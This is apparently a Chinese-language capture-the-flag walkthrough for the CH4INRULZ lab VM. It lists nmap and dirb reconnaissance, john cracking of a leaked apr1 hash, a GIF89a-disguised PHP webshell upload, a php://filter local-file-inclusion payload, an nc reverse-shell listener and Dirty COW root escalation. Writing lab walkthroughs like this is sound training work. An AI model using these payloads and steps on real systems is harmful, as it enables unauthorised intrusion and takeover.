1.安装靶机
在搜索框输入CH4INRULZ
择下载项
选择合适的位置,放置文件,双击打开,在虚拟机打开
2.测试前的信息收集
3.启动靶机
先将网络适配器调整成NAT模式在启动靶机
4.扫描
启动kali,使用nmap,扫描靶机的IP地址
访问这个地址
尝试获取源代码
回头看端口
21 ftp 端口
22 ssh 端口
80 WEB端口,
8011 位置端口
nmap:
使用nmap带参数的扫描
nmap -A ip -p0-65535
由于开放21 22 80端口,又有Apache的存在,猜测8011为PHP的某个端口
FTP:
ftp 192.168.179.150 |
FTP提示Anonymous FTP login allowed ,允许匿名登录,登录名为:anonymous,密码为空,但没发现有价值的信息
dirb
搜索网站
development处需要登录,其他没有有用信息
dirb http://192.168.179.150 -X .bak
查看index.html.bak文件
这里我们得到了提示,用户名:密码格式的。应该是我们之前development的用户,不过这个密码被加密了。
john:
解密的话,就需要用到我们的john工具了。
我们把 frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 写入文件password.txt中
在终端输入
john /home/kali/桌面/password --show
解密得到:frank:frank!!!
访问development文件夹:
登录并查看uploader目录:
上传图片木马:
可以上传图片,我们试着上传一个图片木马
在webshell.php前加上图片头 GIF89a 后缀改成.gif 这样我们的图片就制作好了
上传木马
但是他路径没有告诉我们,我们需要访问他来运行这个木马 我们试着打开8011端口,没有信息,dirb扫一下目录
这里是一个api接口 那个files_api.php应该可以进行文件读取
我们访问files_api.php 试试
下载max hackbar
使用hackbar
get 和 post都试一下,之后发现post可以
/var/www/development/uploader/upload.php
正常来说,我们应该读upload.php的文件,但是这里的回显表名,我们的upload.php被执行了
filter:加密
既然我们正常读取的话,可以按php代码来执行,那么我们直接filter读取一下upload.php
post:
file=php://filter/convert.base64encode/resource=/var/www/development/uploader/upload.php
解密base64内容:
可以得知我们上传的文件在 FRANKuploads/ 目录下
执行file=/var/www/development/uploader/FRANKuploads/webshell.gif
nc -lvvp 4444 访问 拿到shell
Python交互:
python -c 'import pty;pty.spawn("/bin/bash");' 转化为交互式
提权:
查看内核版本,可以使用脏牛提权
脏牛版本:
创建了一个用户firefart
我们连接一下firefart@192.168.179.150
是root组里用户,root权限
获取到flag